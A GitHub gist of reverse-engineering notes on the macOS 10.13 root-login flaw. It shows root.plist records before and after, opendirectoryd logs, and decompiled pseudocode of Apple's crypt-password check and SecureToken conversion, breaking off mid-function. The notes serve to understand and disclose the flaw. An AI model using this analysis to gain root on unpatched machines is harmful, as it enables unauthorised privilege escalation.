Skip to content

Instantly share code, notes, and snippets.

@ygini
Last active February 20, 2021 20:26
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ygini/6632b06a8761b4cc9fd86d271a00e2a8 to your computer and use it in GitHub Desktop.
Save ygini/6632b06a8761b4cc9fd86d271a00e2a8 to your computer and use it in GitHub Desktop.
Work in progress, notes for the current state

Reversing 10.13 RootGate, hands notes

Inital discovery process

Original state of the root.plist

Dict {
    smb_sid = Array {
        S-1-5-18
    }
    uid = Array {
        0
    }
    passwd = Array {
        *
    }
    shell = Array {
        /bin/sh
    }
    home = Array {
        /var/root
    }
    realname = Array {
        System Administrator
    }
    generateduid = Array {
        FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000
    }
    gid = Array {
        0
    }
    name = Array {
        root
        BUILTIN\Local System
    }
}

OpenDirectory logs

Messages recived when doing the 2 step System Preferences dance (log and od debug level enabled).

First try

com.apple.opendirectoryd.systemcache	error	00:40:15.735385 -0800	opendirectoryd	SystemCache	Failed to get SID prefix
com.apple.opendirectoryd	default	00:40:21.038332 -0800	opendirectoryd	opendirectoryd	unable to find node BF99D1A8-4FC8-4652-B765-DDD9C3C4BB77
com.apple.opendirectoryd	default	00:40:21.038469 -0800	opendirectoryd	opendirectoryd	ODQueryCreateWithNode failed with result 90001
com.apple.opendirectoryd	fault	00:40:21.384332 -0800	opendirectoryd	opendirectoryd	found password attribute - using a very low security method of 'crypt'
com.apple.AccountPolicy	default	00:40:21.429488 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd	fault	00:40:21.429743 -0800	opendirectoryd	PlistFile	Authentication failed for <private> with ODErrorCredentialsInvalid
com.apple.opendirectoryd	default	00:40:21.430066 -0800	opendirectoryd	opendirectoryd	ODRecordVerifyPassword failed with result ODErrorCredentialsInvalid

Second try

com.apple.libsqlite3	error	00:40:23.377719 -0800	opendirectoryd	libsqlite3.dylib	near "check": syntax error
com.apple.AccountPolicy	default	00:40:23.378832 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy	default	00:40:23.388712 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.libsqlite3	error	00:40:26.015889 -0800	opendirectoryd	libsqlite3.dylib	near "check": syntax error
com.apple.AccountPolicy	default	00:40:26.016952 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy	default	00:40:26.023857 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd	default	00:40:26.611095 -0800	opendirectoryd	opendirectoryd	ODNodeSetCredentials failed with result ODErrorCredentialsParameterError

SQLite messages are related to PlistFile backend change needed for SecureToken (who are maintained in a SQLite file instead of plist).

On first pass, we notice a crypt alert that is gone on second pass.

As a comparaison, here is a regular wrong password

com.apple.opendirectoryd	default	00:42:10.858793 -0800	opendirectoryd	opendirectoryd	unable to find node 946615A9-2056-4400-A295-FD716D6ECDEB
com.apple.opendirectoryd	default	00:42:10.858977 -0800	opendirectoryd	opendirectoryd	ODQueryCreateWithNode failed with result 90001
com.apple.AccountPolicy	default	00:42:12.642066 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd	fault	00:42:12.642232 -0800	opendirectoryd	PlistFile	Authentication failed for <private> with ODErrorCredentialsInvalid
com.apple.opendirectoryd	default	00:42:12.642520 -0800	opendirectoryd	opendirectoryd	ODRecordVerifyPassword failed with result ODErrorCredentialsInvalid
com.apple.AccountPolicy	default	00:42:14.673544 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.opendirectoryd	fault	00:42:14.673665 -0800	opendirectoryd	PlistFile	Authentication failed for <private> with ODErrorCredentialsInvalid
com.apple.opendirectoryd	default	00:42:14.673885 -0800	opendirectoryd	opendirectoryd	ODRecordVerifyPassword failed with result ODErrorCredentialsInvalid

And here is a regular good password

com.apple.AccountPolicy	default	00:43:13.391238 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy	default	00:43:13.406707 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success
com.apple.AccountPolicy	default	00:43:14.175801 -0800	opendirectoryd	AccountPolicy	AuthenticationAllowed: Evaluation result for record "<private>", record type "<private>": Success

Final state of the root.plist

Dict {
    shell = Array {
        /bin/sh
    }
    HeimdalSRPKey = Array {
??S???L???\???V???v??{?ջ?0a?t? ??]`?e????k????Fvh?"?vZ?~M?LG?
           ???W????0.??X?*bp4????J?
                                   ?/?
-?BqLg???vw禝*lc?Ϝ????rK?-??[ƺ)?GI?zS???on????@?(?]v?[v?>???Q?qkE???s?2qu%K??????#!F?????<c?#s????g}?$?	JtAr~wH????X?9?1?CϙM??H???Hvˍpi.?
                                ??'??????k???N?w`?D=2?&+{k?I???S?`??????D#/???}? -??y9??n?tq??
??ڌ"R?????\46??;g?VmV3??n??sT`Y??=Z??P???6
!?T?????z?-??dR?Sn?!b?'?wy??4+0~??&/LL?B?!??/?=^???uv8?#<?!0??]jHK?j???(%>??
    }
    uid = Array {
        0
    }
    accountPolicyData = Array {
        <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>failedLoginCount</key>
	<integer>0</integer>
	<key>failedLoginTimestamp</key>
	<integer>0</integer>
	<key>passwordLastSetTime</key>
	<real>1511909669.4670889</real>
</dict>
</plist>

    }
    authentication_authority = Array {
        ;ShadowHash;HASHLIST:<SALTED-SHA512-PBKDF2,SRP-RFC5054-4096-SHA512-PBKDF2>
        ;Kerberosv5;;root@LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35A;LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35A;
    }
    smb_sid = Array {
        S-1-5-18
    }
    realname = Array {
        System Administrator
    }
    generateduid = Array {
        FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000000
    }
    KerberosKeys = Array {
        0?K???B0?>0p?+0)??" in?E-@
??Ů???L?_?? ~P??9\??'?A0???86LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35Aroot0`???????-?^?J#??R??A0???86LKDC:SHA1.369537B6F5691C2AEE53D6?4??,???;??R?? ??A0???86LKDC:SHA1.369537B6F5691C2AEE53D6518EEBD97AE699B35Aroot
    }
    gid = Array {
        0
    }
    home = Array {
        /var/root
    }
    passwd = Array {
        ********
    }
    _writers_passwd = Array {
        root
    }
    record_daemon_version = Array {
        4840000
    }
    name = Array {
        root
        BUILTIN\Local System
    }
    ShadowHashData = Array {
        bplist00?
_SRP-RFC5054-4096-SHA512-PBKDF2_SALTED-SHA512-PBKDF2?   XverifierTsaltZiterationsOx???1wQ??JǪ??#??????T???????٩g-??sl??7S?^?T????}?.P?Lswғb?M)eFc?X??]??G!˜?E????ێ?O?P|ÂU????A?A????)9+?W?????g&B?ߓ??'?a?c????3?
?? [?T??LL??d??hײ?'E?C?P??D"Džg??yPV?p????X????z1[??C.w??16??±?=a????.D??,?׾S?"IB??D\??z)iS???-M&??T??}g????H??Zd?:<?O?W??ݵ?KoEg
                                                     ??~2??Y????R???????V??s;R?????]Fq͹n??????w׿&?=<4??v??7O ǯʶq?񮗟
???	]?;?ѝ{?hz'F?

2???I????h?Q_?P_u?<??G?:(=????KF?X?z?te?]p?O ?koM?=H0?x??JvJBj?F?<|,qigkT`o?????c
.ELUZei???? C
    }
}

Lookup on the PlistFile OD backend

Somewhere in the password check chain on the PlistFile backend we can notice and upgrade process from crypt to new gen authentication model.

int sub_826b(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7) {
    rcx = arg3;
    rdx = arg2;
    r14 = arg5;
    r15 = arg4;
    rbx = arg1;
    var_70 = arg0;
    r12 = arg6;
    var_30 = **___stack_chk_guard;
    var_54 = 0x1388;
    r13 = 0x1388;
    if (r12 == 0x0) goto loc_882d;

loc_82c5:
    var_50 = rcx;
    var_A0 = rdx;
    if (rbx != 0x0) {
            rax = odconnection_get_context(rbx);
    }
    else {
            rax = odmoduleconfig_get_context(rdx);
    }
    var_60 = r14;
    var_68 = rbx;
    var_98 = rax;
    if (rax == 0x0) goto loc_88c0;

loc_82ff:
    r14 = arg7;
    if (uuid_parse(r14, &var_40) == 0x0) {
            var_88 = 0x0;
            var_80 = 0x0;
            var_90 = r14 + 0x5b0;
            var_A8 = var_98 + 0x30;
            rsp = (rsp - 0x10) + 0x10;
            r13 = securetoken_helpers_verify_password(*qword, var_70, r15, var_60, &var_40, r14 + 0x5b0, var_98 + 0x30);
            rax = sub_5192(var_98, r15, r12, r14, &var_88, &var_80);
            var_78 = r15;
            if (rax != 0x0) {
                    if ((*(int8_t *)(r14 + 0x28) & 0xd2) != 0x0) {
                            rax = sub_591c();
                            var_54 = rax;
                            if (rax == 0x0) {
                                    r12 = 0x0;
                                    rbx = odauthauthorities_get_shadowhashtypes(var_90, 0x0);
                                    if (rbx != *(int32_t *)(r14 + 0x28)) {
                                            if (*qword != 0xffffffffffffffff) {
                                                    dispatch_once(qword, ^ {/* block implemented at sub_1b8b6 */ } });
                                            }
                                            r12 = 0x1;
                                            if (os_log_type_enabled(*qword, 0x1) != 0x0) {
                                                    r14 = *qword;
                                                    *(int32_t *)(rsp - 0x10) = 0x4000200;
                                                    *(int32_t *)(rsp - 0xc) = *(int32_t *)(arg7 + 0x28);
                                                    *(int8_t *)(rsp - 0x8) = 0x0;
                                                    *(int8_t *)(rsp - 0x7) = 0x4;
                                                    *(int32_t *)(rsp - 0x6) = rbx;
                                                    _os_log_impl(rip - 0x8424, r14, 0x1, "hashes need to resynced hashes 0x%x != 0x%x", rsp - 0x10, 0xe);
                                                    rsp = rsp;
                                                    r15 = var_78;
                                            }
                                    }
                            }
                            else {
                                    r12 = 0x0;
                            }
                    }
                    else {
                            var_54 = 0x13ec;
                            r12 = 0x0;
                    }
                    rdi = 0x0;
                    if (rdi != 0x0) {
                            CFURLDestroyResource(rdi, 0x0);
                            CFRelease(0x0);
                    }
                    rdi = 0x0;
                    if (rdi != 0x0) {
                            CFRelease(rdi);
                    }
                    if (r12 != 0x0) {
                            sub_13d00(arg7, var_60);
                            sub_14324(var_70, var_A0, var_68, var_50, r15, var_60, arg7);
                            rsp = (rsp - 0x10) + 0x10;
                    }
            }
            else {
                    rax = *_kODAttributeTypePassword;
                    rax = odproplist_get_array(r12, *rax);
                    if (rax == 0x0) {
                            rax = odproplist_get_array(r12, @"passwd");
                            if (rax != 0x0) {
                                    var_41 = 0x0;
                                    var_54 = 0x1388;
                                    if (od_verify_crypt_password(var_70, rax, var_60, &var_54, &var_41) != 0x0) {
                                            if (*qword != 0xffffffffffffffff) {
                                                    dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
                                            }
                                            if (os_log_type_enabled(*qword, 0x1) != 0x0) {
                                                    r12 = *qword;
                                                    *(int16_t *)(rsp - 0x10) = 0x0;
                                                    _os_log_impl(rip - 0x84dd, r12, 0x1, "found crypt password in user-record - upgrading to shadowhash or securetoken", rsp - 0x10, 0x2);
                                                    rsp = rsp;
                                                    r15 = var_78;
                                            }
                                            sub_13d00(arg7, var_60);
                                            sub_14324(var_70, var_A0, var_68, var_50, r15, var_60, arg7);
                                            rsp = (rsp - 0x10) + 0x10;
                                    }
                            }
                    }
                    else {
                            var_41 = 0x0;
                            var_54 = 0x1388;
                            if (od_verify_crypt_password(var_70, rax, var_60, &var_54, &var_41) != 0x0) {
                                    if (*qword != 0xffffffffffffffff) {
                                            dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
                                    }
                                    if (os_log_type_enabled(*qword, 0x1) != 0x0) {
                                            r12 = *qword;
                                            *(int16_t *)(rsp - 0x10) = 0x0;
                                            _os_log_impl(rip - 0x84dd, r12, 0x1, "found crypt password in user-record - upgrading to shadowhash or securetoken", rsp - 0x10, 0x2);
                                            rsp = rsp;
                                            r15 = var_78;
                                    }
                                    sub_13d00(arg7, var_60);
                                    sub_14324(var_70, var_A0, var_68, var_50, r15, var_60, arg7);
                                    rsp = (rsp - 0x10) + 0x10;
                            }
                    }
            }
            rax = var_54;
            if (rax != 0x0) {
                    if (rax != 0x1388) {
                            r15 = var_50;
                            r14 = var_68;
                            if (rax == 0x13ec) {
                                    r12 = r13 == 0x0 ? 0x1 : 0x0;
                            }
                            else {
                                    r12 = 0x0;
                            }
                    }
                    else {
                            r15 = var_50;
                            r14 = var_68;
                            if (r13 != 0x0) {
                                    r12 = 0x0;
                            }
                            else {
                                    if (*qword != 0xffffffffffffffff) {
                                            dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
                                    }
                                    if (os_log_type_enabled(*qword, 0x10) != 0x0) {
                                            r15 = *qword;
                                            *(int16_t *)(rsp - 0x10) = 0x0;
                                            _os_log_error_impl(rip - 0x8757, r15, 0x10, "Successfully verified using SecureToken but failed wih SecureToken (out-of-sync)", rsp - 0x10, 0x2);
                                            r12 = 0x0;
                                            rsp = rsp;
                                    }
                                    else {
                                            r12 = 0x0;
                                    }
                                    r15 = var_50;
                            }
                    }
                    rbx = 0x1;
                    if (0x0 == 0x0) {
                            rax = r12 ^ 0x1;
                            if (rax != 0x0) {
                                    rdi = var_60;
                                    if ((rdi == 0x0) || (CFStringGetLength(rdi) == 0x0)) {
                                            rbx = 0x0;
                                    }
                            }
                    }
            }
            else {
                    r12 = 0x1;
                    if (r13 != 0x1388) {
                            r14 = var_68;
                            if (r13 == 0x13ec) {
                                    rbx = &var_C8;
                                    *rbx = 0x0;
                                    *(rbx + 0x8) = rbx;
                                    *(int32_t *)(rbx + 0x10) = 0x0;
                                    *(int32_t *)(rbx + 0x14) = 0x20;
                                    *(int8_t *)(rbx + 0x18) = 0x0;
                                    rcx = var_98;
                                    rax = *(rcx + 0x38);
                                    if ((((rax != 0x0) && (*(rax + 0x30) != 0x0)) && (*(rcx + 0x18) != 0x0)) && (*(int8_t *)(rcx + 0x50) == 0x2)) {
                                            var_F8 = *__NSConcreteStackBlock;
                                            *(int32_t *)(&var_F8 + 0x8) = 0x42000000;
                                            *(int32_t *)(&var_F8 + 0xc) = 0x0;
                                            *(&var_F8 + 0x10) = sub_1760e;
                                            *(&var_F8 + 0x18) = 0x27a88;
                                            *(&var_F8 + 0x28) = r15;
                                            *(&var_F8 + 0x20) = rbx;
                                            _sqlitehelper_transaction(*(rcx + 0x18), "securetoken check", &var_F8);
                                            _Block_object_dispose(rbx, 0x8);
                                            if (*(int8_t *)(var_C0 + 0x18) != 0x0) {
                                                    securetoken_helpers_convert_user(*qword, var_70, r15, var_60, &var_40, var_90, var_A8);
                                                    rsp = (rsp - 0x10) + 0x10;
                                            }
                                    }
                                    else {
                                            _Block_object_dispose(&var_C8, 0x8);
                                    }
                            }
                    }
                    else {
                            r14 = var_68;
                            if (*qword != 0xffffffffffffffff) {
                                    dispatch_once(qword, ^ {/* block implemented at sub_16635 */ } });
                            }
                            if (os_log_type_enabled(*qword, 0x10) != 0x0) {
                                    rbx = *qword;
                                    *(int16_t *)(rsp - 0x10) = 0x0;
                                    _os_log_error_impl(rip - 0x87c0, rbx, 0x10, "Successful verification using Shadowhash but failed SecureToken (out-of-sync)", rsp - 0x10, 0x2);
                                    rsp = rsp;
                            }
                    }
                    rbx = 0x1;
                    r15 = var_50;
            }
            r13 = sub_174de(r14, var_70, var_A0, r15, var_78, arg7, r12 & 0xff, rbx & 0xff);
    }
    goto loc_882d;

loc_882d:
    if (**___stack_chk_guard == var_30) {
            rax = r13;
    }
    else {
            rax = __stack_chk_fail();
    }
    return rax;

loc_88c0:
    rax = __assert_rtn("_verify_password_simple", "/BuildRoot/Library/Caches/com.apple.xbs/Sources/opendirectoryd_executables/opendirectoryd-483.1.4/src/modules/PlistFile/PlistFile.c", 0xe23, "plist_ctx");
    return rax;
}

The od_verify_crypt_password function

Used by the PlistFile backend to check the crypt password and source of the found password attribute - using a very low security method of 'crypt' message.

int _od_verify_crypt_password() {
    rbx = r8;
    var_58 = rcx;
    var_50 = rdx;
    r15 = rsi;
    if (r15 == 0x0) goto loc_10001d9be;

loc_10001d932:
    r13 = CFArrayGetCount(r15);
    if (r13 == 0x0) goto loc_10001d9bb;

loc_10001d942:
    if (CFArrayContainsValue(r15, 0x0, r13) == 0x1) {
            if (*qword != 0xffffffffffffffff) {
                    dispatch_once(qword, ^ {/* block implemented at sub_1000210cb */ } });
            }
            if (os_log_type_enabled(*qword, 0x2) != 0x0) {
                    rbx = *qword;
                    *(int16_t *)(rsp - 0x10) = 0x0;
                    _os_log_impl(__mh_execute_header, rbx, 0x2, "found password marker, deferring to other methods", rsp - 0x10, 0x2);
                    rax = 0x0;
            }
            else {
                    rax = 0x0;
            }
    }
    else {
            rax = 0x1;
            if (r13 > 0x0) {
                    r12 = 0x0;
                    var_48 = r15;
                    do {
                            r14 = CFArrayGetValueAtIndex(r15, r12);
                            if (CFGetTypeID(r14) == CFStringGetTypeID()) {
                                    r15 = r13;
                                    var_40 = 0x0;
                                    rbx = _od_cstr_from_cfstring(r14, &var_40);
                                    var_38 = 0x0;
                                    rax = _od_cstr_from_cfstring(var_50, &var_38);
                                    var_29 = 0x0;
                                    _crypt_verify(rbx, rax, var_58, &var_29);
                                    if (var_29 != 0x0) {
                                            if (*qword != 0xffffffffffffffff) {
                                                    dispatch_once(qword, ^ {/* block implemented at sub_1000210cb */ } });
                                            }
                                            if (os_log_type_enabled(*qword, 0x11) != 0x0) {
                                                    r14 = *qword;
                                                    *(int16_t *)(rsp - 0x10) = 0x0;
                                                    _os_log_fault_impl(__mh_execute_header, r14, 0x11, "found password attribute - using a very low security method of 'crypt'", rsp - 0x10, 0x2);
                                                    rsp = rsp;
                                            }
                                    }
                                    rbx = var_38;
                                    if (rbx != 0x0) {
                                            __bzero(rbx, malloc_size(rbx));
                                            free(var_38);
                                    }
                                    rbx = var_40;
                                    r13 = r15;
                                    if (rbx != 0x0) {
                                            __bzero(rbx, malloc_size(rbx));
                                            free(var_40);
                                    }
                                    r15 = var_48;
                            }
                            else {
                                    if (*qword != 0xffffffffffffffff) {
                                            dispatch_once(qword, ^ {/* block implemented at sub_1000210cb */ } });
                                    }
                                    if (os_log_type_enabled(*qword, 0x10) != 0x0) {
                                            rbx = *qword;
                                            *(int16_t *)(rsp - 0x10) = 0x0;
                                            _os_log_error_impl(__mh_execute_header, rbx, 0x10, "record contains invalid password data", rsp - 0x10, 0x2);
                                            rsp = rsp;
                                    }
                            }
                            r12 = r12 + 0x1;
                    } while (r13 != r12);
                    rax = 0x1;
            }
    }
    return rax;

loc_10001d9bb:
    *(int8_t *)rbx = 0x1;
    goto loc_10001d9be;

loc_10001d9be:
    rax = 0x0;
    return rax;
}

crypt_verify function used by the od function

int _crypt_verify(int arg0, int arg1, int arg2, int arg3) {
    r12 = arg3;
    r14 = arg2;
    r15 = arg1;
    rbx = arg0;
    var_30 = **___stack_chk_guard;
    intrinsic_movaps(var_40, 0x0, arg2, arg3);
    intrinsic_movaps(var_50, 0x0);
    intrinsic_movaps(var_60, 0x0);
    intrinsic_movaps(var_70, 0x0);
    intrinsic_movaps(var_80, 0x0);
    intrinsic_movaps(var_90, 0x0);
    var_A0 = intrinsic_movaps(var_A0, 0x0);
    var_B0 = intrinsic_movaps(var_B0, 0x0);
    if (strncmp(arg0, "{SHA}", 0x5) == 0x0) goto loc_10005ed18;

loc_10005ebea:
    if (strncmp(rbx, "{SSHA}", 0x6) == 0x0) goto loc_10005ed8f;

loc_10005ec06:
    if (strncmp(rbx, "{MD5}", 0x5) == 0x0) goto loc_10005ee51;

loc_10005ec22:
    if (strncmp(rbx, "{SMD5}", 0x6) != 0x0) {
            intrinsic_movaps(var_100, 0x0);
            intrinsic_movaps(var_110, 0x0);
            intrinsic_movaps(var_120, 0x0);
            var_130 = intrinsic_movaps(var_130, 0x0);
            r13 = rbx + 0x7;
            if (strncasecmp(rbx, "{CRYPT}", 0x7) != 0x0) {
                    r13 = rbx;
            }
            if ((strncmp(r13, "$!$", 0x3) != 0x0) && (strncmp(r13, "$1$", 0x3) != 0x0)) {
                    var_D0 = *(int8_t *)r13;
                    *(int8_t *)(&var_D0 + 0x1) = *(int8_t *)(r13 + 0x1);
                    *(int8_t *)(&var_D0 + 0x2) = 0x0;
                    rsi = &var_178;
                    *rsi = *__NSConcreteStackBlock;
                    *(int32_t *)(rsi + 0x8) = 0x40000000;
                    *(int32_t *)(rsi + 0xc) = 0x0;
                    *(rsi + 0x10) = sub_10005f060;
                    *(rsi + 0x18) = 0x100086540;
                    *(rsi + 0x20) = &var_130;
                    *(rsi + 0x28) = r15;
                    *(rsi + 0x30) = &var_D0;
            }
            else {
                    rsi = &var_1B8;
                    *rsi = *__NSConcreteStackBlock;
                    *(int32_t *)(rsi + 0x8) = 0x40000000;
                    *(int32_t *)(rsi + 0xc) = 0x0;
                    *(rsi + 0x10) = sub_10005f02b;
                    *(rsi + 0x18) = 0x100086520;
                    *(rsi + 0x20) = &var_130;
                    *(rsi + 0x28) = r15;
                    *(rsi + 0x30) = r13;
            }
            *(rsi + 0x38) = 0x40;
            dispatch_sync(*__dispatch_main_q, rsi);
            if (strcmp(&var_130, r13) == 0x0) {
                    *(int32_t *)r14 = 0x0;
            }
            *(int8_t *)r12 = 0x1;
    }
    else {
            if ((*(int8_t *)(rbx + 0x6) != 0x0) && (sasl_decode64(rbx + 0x6, strlen(rbx + 0x6), &var_B0, 0x80, &var_134) == 0x0)) {
                    CC_MD5_Init(&var_130);
                    CC_MD5_Update(&var_130, r15, strlen(r15));
                    CC_MD5_Update(&var_130, &var_A0, var_134 + 0xfffffff0);
                    CC_MD5_Final(&var_D0, &var_130);
                    if (memcmp(&var_D0, &var_B0, 0x10) == 0x0) {
                            *(int32_t *)r14 = 0x0;
                    }
                    intrinsic_movaps(var_D0, 0x0);
            }
    }
    goto loc_10005ef51;

loc_10005ef51:
    rax = *___stack_chk_guard;
    rax = *rax;
    if (rax != var_30) {
            rax = __stack_chk_fail();
    }
    return rax;

loc_10005ee51:
    if ((*(int8_t *)(rbx + 0x5) == 0x0) || (sasl_decode64(rbx + 0x5, strlen(rbx + 0x5), &var_B0, 0x80, &var_134) != 0x0)) goto loc_10005ef51;

loc_10005ee8c:
    CC_MD5_Init(&var_130);
    CC_MD5_Update(&var_130, r15, strlen(r15));
    CC_MD5_Final(&var_D0, &var_130);
    rsi = &var_B0;
    rdx = 0x10;
    rdi = &var_D0;
    goto loc_10005ee38;

loc_10005ee38:
    if (memcmp(rdi, rsi, rdx) == 0x0) {
            *(int32_t *)r14 = 0x0;
    }
    goto loc_10005ef51;

loc_10005ed8f:
    if ((*(int8_t *)(rbx + 0x6) == 0x0) || (sasl_decode64(rbx + 0x6, strlen(rbx + 0x6), &var_B0, 0x80, &var_134) != 0x0)) goto loc_10005ef51;

loc_10005edca:
    r12 = &var_D0;
    *(int128_t *)r12 = intrinsic_movaps(*(int128_t *)r12, 0x0);
    *(int32_t *)(r12 + 0x10) = 0x0;
    rbx = &var_130;
    CC_SHA1_Init(rbx);
    CC_SHA1_Update(rbx, r15, strlen(r15));
    rsi = &var_9C;
    rdx = var_134 + 0xffffffec;
    rdi = rbx;
    goto loc_10005ee19;

loc_10005ee19:
    CC_SHA1_Update(rdi, rsi, rdx);
    CC_SHA1_Final(r12, rbx);
    rsi = &var_B0;
    rdx = 0x14;
    rdi = r12;
    goto loc_10005ee38;

loc_10005ed18:
    if ((*(int8_t *)(rbx + 0x5) == 0x0) || (sasl_decode64(rbx + 0x5, strlen(rbx + 0x5), &var_B0, 0x80, &var_134) != 0x0)) goto loc_10005ef51;

loc_10005ed53:
    r12 = &var_D0;
    *(int128_t *)r12 = intrinsic_movaps(*(int128_t *)r12, 0x0);
    *(int32_t *)(r12 + 0x10) = 0x0;
    rbx = &var_130;
    CC_SHA1_Init(rbx);
    rax = strlen(r15);
    rdi = rbx;
    rsi = r15;
    rdx = rax;
    goto loc_10005ee19;
}

Block at line 47 is executed since it's * value.

The securetoken_helpers_convert_user used after the user check by PlistFile backend

int _securetoken_helpers_convert_user(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5, int arg6) {
    r13 = arg5;
    r15 = arg4;
    r14 = arg3;
    var_40 = arg2;
    r12 = arg1;
    rbx = arg0;
    var_30 = **___stack_chk_guard;
    if (_odauthauthorities_disabledtag(r13, 0x4) == 0x0) goto loc_100057dd1;

loc_100057d54:
    if (*qword != 0xffffffffffffffff) {
            dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
    }
    if (os_log_type_enabled(*qword, 0x1) == 0x0) goto loc_100057ed6;

loc_100057d7e:
    r14 = rsp;
    *(int8_t *)(rsp - 0x20) = 0x2;
    *(int8_t *)(rsp - 0x1f) = 0x3;
    *(int8_t *)(rsp - 0x1e) = 0x40;
    *(int8_t *)(rsp - 0x1d) = 0x8;
    *(rsp - 0x1c) = var_40;
    *(int8_t *)(rsp - 0x14) = 0x12;
    *(int8_t *)(rsp - 0x13) = 0x4;
    *(int32_t *)(rsp - 0x12) = 0x10;
    *(int8_t *)(rsp - 0xe) = 0x32;
    *(int8_t *)(rsp - 0xd) = 0x8;
    *(rsp - 0xc) = r15;
    goto loc_100057eb9;

loc_100057eb9:
    _os_log_impl();
    rbx = 0x0;
    goto loc_100058669;

loc_100058669:
    if (**___stack_chk_guard == var_30) {
            rax = rbx;
    }
    else {
            rax = __stack_chk_fail();
    }
    return rax;

loc_100057ed6:
    rbx = 0x0;
    goto loc_100058669;

loc_100057dd1:
    rcx = arg6;
    if (rcx == 0x0) goto loc_100057e45;

loc_100057dda:
    rax = *(rcx + 0x8);
    if ((rax == 0x0) || (*(rax + 0x30) == 0x0)) goto loc_100057e45;

loc_100057dea:
    var_38 = rsp;
    rax = *(rcx + 0x18);
    rcx = rsp - (rax + 0xf & 0xfffffffffffffff0);
    rsp = rcx;
    var_70 = rcx;
    var_68 = rax;
    var_88 = 0x0;
    rax = _od_cstr_from_cfstring(r14, &var_88);
    var_98 = rax;
    var_60 = rbx;
    rbx = r12;
    if (rax != 0x0) {
            rax = strlen(rax);
    }
    else {
            rax = 0x0;
    }
    var_50 = 0x0;
    r12 = arg6;
    if (APFSVolumeGetUnlockRecord(*(*(r12 + 0x8) + 0x30), r15, &var_50) == 0x0) goto loc_100058079;

loc_100057f07:
    var_58 = 0x0;
    rax = APFSVolumeListUUIDsOfUnlockRecords(*(*(r12 + 0x8) + 0x30), &var_58);
    r12 = rbx;
    if (rax == 0x0) goto loc_1000580bf;

loc_100057f2b:
    if (*qword != 0xffffffffffffffff) {
            dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
    }
    if (os_log_type_enabled(*qword, 0x1) != 0x0) {
            r14 = *qword;
            *(int8_t *)(rsp - 0x20) = 0x2;
            *(int8_t *)(rsp - 0x1f) = 0x3;
            *(int8_t *)(rsp - 0x1e) = 0x40;
            *(int8_t *)(rsp - 0x1d) = 0x8;
            *(rsp - 0x1c) = var_40;
            *(int8_t *)(rsp - 0x14) = 0x12;
            *(int8_t *)(rsp - 0x13) = 0x4;
            *(int32_t *)(rsp - 0x12) = 0x10;
            *(int8_t *)(rsp - 0xe) = 0x32;
            *(int8_t *)(rsp - 0xd) = 0x8;
            *(rsp - 0xc) = r15;
            _os_log_impl(__mh_execute_header, r14, 0x1, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken", rsp - 0x20, 0x1c);
            rsp = rsp;
    }
    r14 = sub_10006363f(0x2, &var_98, r15, &var_70);
    if (r14 == 0x0) goto loc_1000582fb;

loc_100057fd9:
    if (*qword != 0xffffffffffffffff) {
            dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
    }
    if (os_log_type_enabled(*qword, 0x10) != 0x0) {
            rbx = *qword;
            *(int8_t *)(rsp - 0x30) = 0x2;
            *(int8_t *)(rsp - 0x2f) = 0x4;
            *(int8_t *)(rsp - 0x2e) = 0x40;
            *(int8_t *)(rsp - 0x2d) = 0x8;
            *(rsp - 0x2c) = var_40;
            *(int8_t *)(rsp - 0x24) = 0x12;
            *(int8_t *)(rsp - 0x23) = 0x4;
            *(int32_t *)(rsp - 0x22) = 0x10;
            *(int8_t *)(rsp - 0x1e) = 0x32;
            *(int8_t *)(rsp - 0x1d) = 0x8;
            *(rsp - 0x1c) = r15;
            *(int8_t *)(rsp - 0x14) = 0x0;
            *(int8_t *)(rsp - 0x13) = 0x4;
            *(int32_t *)(rsp - 0x12) = r14;
            _os_log_error_impl(__mh_execute_header, rbx, 0x10, "Converting %@ (%{public,uuid_t}.16P) to use SecureToken - failed while generating new verifier %{errno}d", rsp - 0x30, 0x22);
            rbx = 0x0;
    }
    else {
            rbx = 0x0;
    }
    goto loc_1000583b5;

loc_1000583b5:
    r12 = var_38;
    goto loc_100058655;

loc_100058655:
    rdi = var_88;
    if (rdi != 0x0) {
            free(rdi);
    }
    goto loc_100058669;

loc_1000582fb:
    r14 = arg6;
    if (sub_1000573c8(&var_70, &var_98, r14) != 0x0) {
            if (*qword != 0xffffffffffffffff) {
                    dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
            }
            r12 = var_38;
            if (os_log_type_enabled(*qword, 0x10) != 0x0) {
